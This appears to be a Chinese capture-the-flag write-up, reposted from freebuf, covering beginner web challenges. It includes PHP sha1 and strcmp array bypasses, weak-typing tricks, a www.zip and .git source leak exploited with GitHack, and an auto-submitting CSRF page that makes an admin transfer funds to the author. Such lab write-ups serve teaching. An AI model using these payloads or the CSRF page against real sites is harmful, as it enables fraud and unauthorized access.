可能起点不同吧,对于萌新(我)来说确实是难了点。
进去是个空白页面,以post方式提交数据,就会看到
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {
if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
show_source(__FILE__);
}
else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
phpinfo(); // collect information from phpinfo!
}
}
看到源码,如果以get方式,就会出现空白页面。
以post方式提交roam1和roam2
= //赋值
== //只比较数值
=== //数值和类型都要比较
我们还要满足roam1和roam2的值不同,但是经过sha1加密的roam1和roam2类型和数值都要相同。
可以利用sha1()函数的漏洞来绕过。如果把这两个字段构造为数组,如:roam1[]=1&&roam2[]=2
这样在第一处判断时两数组确实是不同的,但在第二处判断时由于sha1()函数无法处理数组类型,就会给我们返回php的信息。
我们可以找到flag所在的文件,只需要访问就行了。(试了n次也不行)
最后通过抓包
找到了flag。
这道题本来没有做出了,放出来hint也没有做出来,最后请教团队的大佬做出来了。
先注册一个账号,登陆进去。
我们需要买flag,但是钱包
钱包里的前空空如也。
这道题我们主要是通过csrf漏洞,构建一个我们伪造的页面,让后台的管理员给我们转钱。
第一步就是MD5截断,得到验证码。
第二步在自己的服务器上构造一个转钱页面,在报告上面提交。
构造1.html(这个页面主要内容是通过burp抓包构造csrf poc)
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://173.82.206.142:8005/transfer.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="target" value="qidian" />
<input type="hidden" name="money" value="100000000000000000000000" />
<input type="hidden" name="messages" value="nihao" />
<input type="submit" value="Submit request" id="click" />
</form>
<script type="text/javascript">
document.getElementById("click").click();
</script>
</body>
</html>
代码内容就是转好多好多钱给奇点。
将url提交。
钱来了。
检查页面源代码,得到flag=U1lDe0YxQF80c19oNExwZnVsbGxsbGx9
并且还有提示F12查看源代码,base64是一种常见编码。
将上面的字符的字符解密一下得到flag。
已经有了提示www,在网站后缀加上www.zip,就会下载www.zip文件。
得到了flag文件却不对,看了下index.php的代码。
<?php
$key1 = $_POST['a'];
$key2 = base64_decode('c3ljbDB2ZXI=');
if($key1 === $key2)
{
//this is a true flag
echo '<p>SYC{xxxxxxxxxxxxxxxxxx}</p>';
}
?>
$key2是已知的,我们base64解密就行了,将我们传入的参数等于 $key2,就能得到flag。
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,嘿嘿嘿。。。
给了提示git泄露。
这时候就需要一个神奇了Git Hack(python2环境)了。
python2 GitHack url/.git/
ls -a 列出隐藏文件
git log 查看记录
在第二行发现了flag,但是没有显示
利用diff参数,查看当前记录,3796是3796466675a1db323e42170def92bee71344a2ee的前四位缩写。
<?php
include("flag.php");
highlight_file(__FILE__);
$username = $_GET['username'];
$passwd = $_POST['passwd'];
if ($username === 'admin' && $passwd === 'syclover') {
echo $flag;
}
以不同的方式提交username和passwd。
就可以得到flag。
a与b通过strcmp函数比较,并且a和b还不能相等。
strcmp ( string $str1 , string $str2 )
参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
但是这个函数有个漏洞,在5.3之前的php中,如果我们传入非字符串类型的数据的时候,当这个函数接受到了不符合的类型,这个函数将发生错误,但是,显示了报错的警告信息后,将return 0 !也就是虽然报了错,但却判定其相等了。
http://49.234.224.119:7417/?a[]=123&b=nm
这个payload就可以绕过。
第二步要求我们以POST的方式传入参数C要求其数据类型是非数字变量且还要等于123。
本来以为使用PHP的进制转函数能轻易饶过,但是我错了,应该是php弱类型绕过。
c=123x
就能轻松绕过,吐了吐了吐了!!!
来源:freebuf.com 2020-11-17 20:05:18 by: 吉吉国王乱杀
请登录后发表评论
注册